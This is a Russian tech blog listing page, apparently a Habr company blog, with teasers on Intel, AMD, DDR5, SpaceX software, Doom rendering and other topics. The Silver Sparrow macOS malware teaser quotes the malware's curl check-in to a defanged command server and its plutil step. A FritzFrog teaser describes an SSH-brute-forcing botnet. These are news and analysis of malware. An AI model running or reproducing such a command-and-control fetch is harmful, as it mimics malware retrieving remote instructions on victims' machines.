Pull to refresh
201
0
Дата-центр «Миран» @Data_center_MIRAN

Серверы, стойки, VPS

Send message

На 30 тысячах компьютеров с macOS нашли странный зловред, который ждёт команду

Reading time4 min
Views22K


Новая вредоносная программа Silver Sparrow («Серебряный воробей»), обнаруженная почти на 30 000 компьютерах Mac по всему миру, привлекла внимание специалистов по безопасности. Причин несколько. Во-первых, зловред поставляется в двух бинарниках, в том числе для процессора М1. Во-вторых, исследователи не могут понять цель злоумышленников.

Раз в час заражённые компьютеры проверяют контрольный сервер на предмет новых команд или двоичных файлов для выполнения:

curl hxxps://specialattributes.s3.amazonaws[.]com/applications/updater/ver.json > /tmp/version.json
plutil -convert xml1 -r /tmp/version.json -o /tmp/version.plist
Читать дальше →

Просто вертикальный монитор не значит, что я на телефоне

Reading time3 min
Views16K

YouTube на вертикальном экране

Да, я странный человек, полностью признаю. На домашнем компьютере у меня установлен вертикальный монитор. Я составляю и читаю и много длинных документов — и такой форм-фактор меня вполне устраивает.

Я давно так делаю. Это естественная часть моего рабочего процесса. Такая ориентация экрана лучше подходит для любых документов, которые длиннее электронного письма. Большинство приложений Linux нормально работают в таком формате, хотя меню не всегда помещается на экране.

Но сайты в интернете — это что-то совершенно ненормальное! Многие думают, что вертикальный экран — это обязательно мобильное устройство!

Да, проблема мелкая и касается лично меня, но всё-таки есть смысл пояснить, какие последствия возникают, в чём причина и как её исправить.
Читать дальше →

В чём главные проблемы Intel

Reading time9 min
Views38K


Оглядываясь назад, моя статья по поводу назначения нового исполнительного директора Intel в 2013 году оказалась чрезмерно оптимистичной. Одно название чего стоит: «Возможность для Intel». В реальности вышло не так — за эти годы у Intel ничего не получилось, никакими возможностями она не воспользовалась.

Откуда мы знаем, что не получилось? Во-первых, спустя восемь лет Intel опять назначает нового директора (Пэт Гелсингер), но не вместо того, о котором я писал (Брайан Кржанич), а вместо его преемника (Боб Свон). Очевидно, в то самое окно возможностей компания на самом деле не попала. И теперь уже встаёт вопрос выживания компании. И даже вопрос национальной безопасности Соединённых Штатов Америки.
Читать дальше →

Инженер купил 220 нерабочих плат Raspberry Pi Model B и начал их ремонтировать

Reading time4 min
Views124K


Инженер и блогер Джеймс Доусон специализируется на обзорах одноплатных компьютеров, но сейчас он начал необычный марафон, а заодно решил подзаработать. Инженер купил на eBay партию примерно из 220 нерабочих компьютеров Raspberry Pi Model B за 61 фунт, то есть практически на вес.

Задача такая: диагностировать платы, найти неисправности, починить — и продать. Платы простые, починить вроде бы легко.
Читать дальше →

Новый глава Intel вернул с пенсии ведущего архитектора Nehalem

Reading time4 min
Views20K


Новый генеральный директор Пэт Гелсингер до своего ухода из Intel работал в компании 30 лет и поднялся до ранга CTO, потом ушёл. Теперь его возвращение и назначение на должность CEO считают признаком выздоровления Intel. Возможно, компания сможет переломить тренд и вернуться на лидирующие роли в бизнесе. Однако нужен кардинальный технологический прорыв. А кто для него подойдёт лучше, чем бывший технический директор Пэт Гелсингер, главный технарь в компании?

Гелсингер с первых дней оправдывает ожидания, которые на него возлагают. Он начал с того, что возвращает на работу в компанию ведущих инженеров и архитекторов CPU, своих бывших коллег.
Читать дальше →

Визуализация пользователей Parler во время штурма Капитолия США по GPS-метаданным видеороликов

Reading time4 min
Views15K


6 января 2021 года толпа протестующих захватила Капитолий США. Несколько десятков проникли внутрь здания в места, обычно закрытые для публики, в том числе в кабинеты парламентариев и зал заседаний. Естественно, они сразу начали делать селфи, снимать видео — и тут же публиковать в соцсетях. Некоторые даже стримили в прямом эфире.

Среди бунтующих оказалось и несколько пользователей твиттероподобной соцсети Parler. Это выяснилось по GPS-метаданным с их видеороликов. Дело в том, что Parler не зачищает эти метаданные в стандартном порядке, как это делают остальные соцсети, чтобы защитить приватность людей.
Читать дальше →

Как SpaceX пишет софт

Reading time11 min
Views34K

Даглас Хёрли и Боб Бенкен в капсуле «Индевор»

Компания SpaceX ведёт стремительную разработку проектов сразу по нескольким направлениям. Первая ступень ракеты Falcon 9 после запуска полезной нагрузки в космос возвращается на Землю для повторного использования, подобное тестируют для прототипов Starship. На МКС корабль Crew Dragon доставляет экипаж, готовится второе поколение грузовиков Dragon. Рой спутников связи Starlink выдаёт больше сотни мегабит в секунду для реальных пользователей открытого бета-теста.

Все эти проекты требуют высокой степени автоматизации, за которую отвечает команда разработки программного обеспечения. Про неё специалисты SpaceX рассказывают с удовольствием: это не только важно для привлечения соискателей на открытые вакансии, но и интересно для всех остальных.

Мой восьмилетний квест по оцифровке 45 видеокассет. Часть 2

Reading time8 min
Views11K
В первой части описан тяжкий квест по оцифровке старых семейных видеозаписей с разбиением их на отдельные сцены. После обработки всех клипов я хотел организовать их просмотр в онлайне такой же удобный, как на YouTube. Поскольку это личные воспоминания семьи, на самом YouTube их выкладывать нельзя. Нужен более приватный хостинг, одновременно удобный и безопасный.

Шаг 3. Публикация


ClipBucket, опенсорсный клон YouTube, который можно установить на собственном сервере


Первым делом я попробовал ClipBucket, который называет себя опенсорсным клоном YouTube, который можно установить у себя на сервере.



Удивительно, но у ClipBucket нет никаких инструкций по установке. Благодаря стороннему руководству я автоматизировал процесс установки с помощью Ansible, инструмента управления конфигурацией серверов.
Читать дальше →

Мой восьмилетний квест по оцифровке 45 видеокассет. Часть 1

Reading time9 min
Views53K
За последние восемь лет я перевозил эту коробку с видеокассетами в четыре разные квартиры и один дом. Семейные видеозаписи из моего детства.



Спустя более 600 часов работы я, наконец, оцифровал и нормально их организовал, так что кассеты можно выбросить.

Часть 2


Ажиотажный спрос на новые карты Nvidia — заслуга не производителя, а косоруких разработчиков игр

Reading time9 min
Views37K
После презентации новой линейки видеокарт серии RTX 3000, компания производитель графических чипов Nvidia столкнулась с беспрецедентным спросом на свою новую продукцию. Превышение розничных цен на топовые модели RTX 3080 и RTX 3090 составляет и $500 и более, что больше рекомендованной цены на 30-60%.



Причем просто на завышенных относительно оглашенных на презентации ценах проблемы с новыми RTX не заканчиваются. Так, один из официальных торговых партнеров MSI был уличен в спекуляции новыми видеокартами на онлайн-аукционах, а сами Nvidia заявляют, что купить по адекватной стоимости новые RTX 3080 и RTX 3090 можно будет не раньше следующего года. При этом релиз и поступление в продажу самой «вкусной» карточки RTX 3070 было вовсе отложено на две недели, с 15 на 29 октября 2020 года.

Человек, далекий от ПК-гейминга и релизов флагманских моделей железа справедливо спросит: «вы там что, совсем кукухой поехали? Какие 1200-1500$ за видеокарту? Какой ажиотажный спрос? Что вообще происходит?» Так вот, сейчас я, автор статьи, объясню, почему Nvidia столкнулась с таким ажиотажем вокруг RTX 3000 серии и почему геймеры с нетерпением ждут поступления в продажу этих видеокарт по заявленной стоимости.

AMD представила флагманские процессоры линейки Ryzen 5ххх на архитектуре Zen3

Reading time4 min
Views27K
Вчера вечером компания AMD представила публике свои флагманы новой линейки процессоров Ryzen 5000 серии для десктопов. На презентации были показаны в основном флагманские изделия: один восьмиядерный процессор Ryzen 7, двенадцати- и шестнадцатиядерные процессоры Ryzen 9 и только один из среднего сегмента — шестиядерный Ryzen 5.



Остальные процессоры среднего и бюджетного сегментов, а именно Ryzen 5 и Ryzen 3, будут представлены позднее. Если переходить сразу к базовым характеристикам, то новые продукты AMD выглядят так:
процессор ядер/потоков частоты, ггц tdp, вт цена, $
ryzen 5 5600x 6/12 3,7-4,6 65 300
ryzen 7 5800x 8/16 3,8-4,7 105 450
ryzen 9 5900x 12/24 3,7-4,7 105 550
ryzen 9 5950x 16/32 3,4-4,9 105 800
Новые процессоры поступят в продажу уже 5 ноября 2020 года.
Читать дальше →

Инсайд: в новых процессорах Intel будет использоваться многочиповая конфигурация

Reading time3 min
Views9.8K
Согласно инсайду портала adoredtv.com, компания Intel перейдет к технологии многочиповой конфигурации к 2021-2022 году, а первым процессором с подобной компоновкой станет серверный чип линейки Sapphire Rapids. По данным, его тепловыделение составит около 400 Вт. Планируемый техпроцесс литографии — 10 нм (+++) или «SuperFin». Процессор будет оснащен 56(60) ядрами.



Однако это не самое главное, хотя анонс новой серверной линейки, которая придет на смену процессорам Sky Lake — важный инфоповод. Но намного важнее то, что Intel «сдается» в своей борьбе с 7 и 5 нм техпроцессами и переходит к технологиям, которые уже используются их основным конкурентом — компанией AMD. По всей видимости, проблемы с более мелкошаговой литографией оказались непреодолимы в обозримом будущем, а давление AMD только усиливается: уже сейчас «красные» обгоняют Intel в потребительском сегменте, фактически, на полтора-два поколения с учетом линейки Ryzen 5000, которая будет представлена уже сегодня, 8 октября.

Важно отметить, что Intel уже потребовала от источника удалить статью из-за допущенных в ней «неточностей», что опосредованно подтверждает как минимум большую часть инсайдерской информации и вообще наталкивает на мысль, что «слив» организовал маркетинговый отдел компании.
Читать дальше →

SK hynix представила первую в мире память DDR5 DRAM

Reading time2 min
Views13K
Корейская компания Hynix представила публике первую в своем роде оперативную память стандарта DDR5, о чем сообщается в официальном блоге компании.



По заявлению SK hynix, новая память обеспечивает скорость передачи данных в 4,8-5,6 Гбит/с на контакт. Это 1,8 раза больше, чем базовые показатели памяти предыдущего поколения DDR4. При этом производитель утверждает, что напряжение на планке уменьшено с 1,2 до 1,1 В, что, в свою очередь, повышает энергоэффективность модулей DDR5. Также была реализована поддержка коррекции ошибок ECC — Error Correcting Code. Как утверждается, благодаря этой функции надежность работы приложений возрастёт в 20 раз по сравнению с памятью предыдущего поколения. Минимальный объем памяти платы заявлен на уровне 16 Гб, максимальный — 256 Гб.
Читать дальше →

Что такое SDLC? Этапы, методология и процессы жизненного цикла программного обеспечения

Reading time7 min
Views301K
Цитируя автора книги Managing Information Technology Projects Джеймса Тейлора, «жизненный цикл проекта охватывает всю деятельность проекта». Задачей же разработки ПО является выполнение требований продукта. Если вы хотите научиться создавать и выпускать высококачественное ПО, вам придется следовать плану. Со слов Тейлора, вашей целью должен стать всесторонний анализ деятельности проекта и контроля каждого этапа его разработки. Вот только с чего именно начать?

Ответить можно так: направить ваш рабочий процесс в верном направлении поможет подходящий фреймворк. В наши дни довольно сильным и популярным фреймворком является SDLC – жизненный цикл программного обеспечения.

Принципы работы SDLC и почему им пользуются


На диаграмме ниже можно ознакомиться с шестью основными этапами SDLC.



В целом, SDLC это такой замкнутый цикл, в котором каждый этап влияет на действия в последующих и дает перспективные указания на будущее. Для получения ответов на конкретные вопросы и обеспечения согласованности вашего процесса разработки все шесть этапов стараются эффективно и последовательно друг на друга влиять.
Читать дальше →

GitHub запустил статический анализ кода на уязвимости

Reading time3 min
Views12K


После обширного тестирования GitHub открыл в открытом доступе функцию сканирования кода на уязвимости. Любой желающий может запустить сканер на собственном репозитории и найти уязвимости до того, как они пойдут в продакшн. Сканер действует для репозиториев на C, C++, C#, JavaScript, TypeScript, Python и Go.

Я был неправ. Будущее за CRDT

Reading time8 min
Views8.2K
Несколько недель назад я посмотрел презентацию Мартина Клеппмана про его подход к редактированию в реальном времени через CRDT и ощутил жгучее отчаяние. Его подход хорош настолько, что превосходит всю мою работу за последнее десятилетие, и места в будущем ей уже не видать.

Но начнем сначала.

В 2010 году я работал в Google Wave, где мы пробовали создать совместные редактируемые пространства для замены электронной почты, Google Docks, форумов, мгновенных сообщений и многих других однозадачных приложений. Среди моих инструментов мне особенно нравится среда общего назначения, нигде более как в Wave не сформулированный в то время функционал. В отличие от большинства других инструментов, среда общего назначения не навязывает собственный рабочий процесс, благодаря чему через нее можно планировать праздники, создавать вики-проекты, играть с друзьями в настольные игры, назначать рабочие собрания и много чего еще.
Читать дальше →

Как рендерится кадр DOOM Ethernal

Reading time16 min
Views31K


Вступление


Doom Eternal не нуждается в отдельном представлении: это прямой преемник Doom 2016, разработанный благодаря седьмой итерации id Tech, внутреннего движка студии id Software. В свое время меня поразило и высокое качество визуальной составляющей Doom 2016, и простота и элегантность технических решений. В этом отношении Doom Eternal превосходит своего предшественника во многих областях, и некоторые из них достойны детального разбора. В этой аналитической статье я постараюсь обсудить их все.

Мой анализ вдохновлен трудом Adrian Courrèges про Doom 2016 (перевод). Я считаю, что подобные работы позволяют взглянуть на подходы к решению некоторых проблем рендеринга AAA-проектов и тем самым становятся превосходными обучающими материалами. В этом анализе я планирую обсудить общие особенности и не погружаться слишком глубоко в тонкости каждого способа и прохода рендеринга. Кроме того, некоторые проходы в Doom Eternal почти не отличаются от своих аналогов в Doom 2016 и уже были разобраны в труде Adrian Courrèges, поэтому я могу их пропустить.

Хочу особым образом отметить строго обучающий характер текущей статьи. Я никоим образом не поддерживаю реверс-инжиниринг продуктов с целью кражи интеллектуальной собственности или иного злого умысла. Если вы еще не успели сыграть в Doom Eternal, можете не беспокоиться: я разбирал лишь самое начало игры, поэтому спойлеры вам не грозят.

Итак, приступим.
Читать дальше →

FritzFrog — новое поколение ботнетов

Reading time8 min
Views7.8K

Краткое содержание


  • Guardicore обнаружили сложный ботнет пиринговой (P2P) сети FritzFrog, который еще с января 2020 года активно взламывал SSH серверы.
  • Вредоносное ПО на Golang: FritzFrog исполняет модульный, мультипоточный и безфайловый вредоносный код на Golang, который не оставляет следов на жестком диске зараженного устройства.
  • Активное таргетирование государственных, образовательных, финансовых и прочих ресурсов: FritzFrog пытался брутфорсить и распространяться на десятках миллионов IP адресов правительственных офисов, образовательных учреждений, медицинских центров, банков и множества телекоммуникационных компаний. Среди них успешно подвержены атаке оказались более чем 500 серверов, включая известные университеты США и Европы, и одну железнодорожную компанию.
  • Сложность: FritzFrog полностью проприетарен, его имплементация P2P написана с нуля, что говорит о высоком уровне профессионализма его создателей в области разработки ПО.
  • Перехват: Guardcore Labs разработали клиентскую программу на Golang, способную перехватывать P2P соединения FritzFrog и подключаться к сети как пир.
  • Принадлежность: мы не смогли определить конкретную группу, ответственную за создание FritzFrog, однако текущий ботнет частично похож на ранее известный ботнет Rakos.

Введение


FritzFrog это очень изощренный пиринговый ботнет, который активно взламывает SSH серверы по всему миру. Благодаря своей децентрализованной структуре он распределяет контроль по всем своим узлам. В этой сети нет единой точки отказа, и пиры постоянно общаются друг с другом, чтобы поддерживать ее в устойчивом, обновляемом и постоянно активном состоянии. P2P соединение проводится через зашифрованный канал с использованием AES для симметричного шифрования и протокола Диффи-Хеллмана для обмена ключами.
Читать дальше →

Мониторинг вашей инфраструктуры с помощью Grafana, InfluxDB и CollectD

Reading time7 min
Views29K


У компаний, которым необходимо управлять данными и приложениями на более чем одном сервере, во главу угла поставлена инфраструктура.

Для каждой компании значимой частью рабочего процесса является мониторинг инфраструктурных узлов, особенно при отсутствии прямого доступа для решения возникающих проблем. Более того, интенсивное использование некоторых ресурсов может быть индикатором неисправностей и перегрузок инфраструктуры. Однако мониторинг может использоваться не только для профилактики, но и для оценки возможных последствий использования нового ПО в продакшне. Сейчас для отслеживания потребляемых ресурсов на рынке существует несколько готовых к использованию решений, но с ними, тем не менее, возникают две ключевые проблемы: дороговизна установки и настройки и связанные со сторонним ПО вопросы безопасности.
Читать дальше →

IBM открыла инструмент полностью гомоморфного шифрования для Linux

Reading time4 min
Views26K

Компания IBM опубликовала на GitHub исходный код набора инструментов FHE для Linux. Утилиты работают на платформах IBM Z и x86, поддерживаются Ubuntu, Fedora и CentOS.

Полностью гомоморфное шифрование (FHE) долгое время считалось чем-то вроде чаши святого Грааля в криптографии. Задача действительно казалась нереальной. Тип шифрования FHE предполагает манипуляции зашифрованными данными третьей стороной без возможности расшифровки самих данных или результата манипуляций.

Как такое возможно?

Information

Rating
Does not participate
Location
Санкт-Петербург, Санкт-Петербург и область, Россия
Works in
Registered
Activity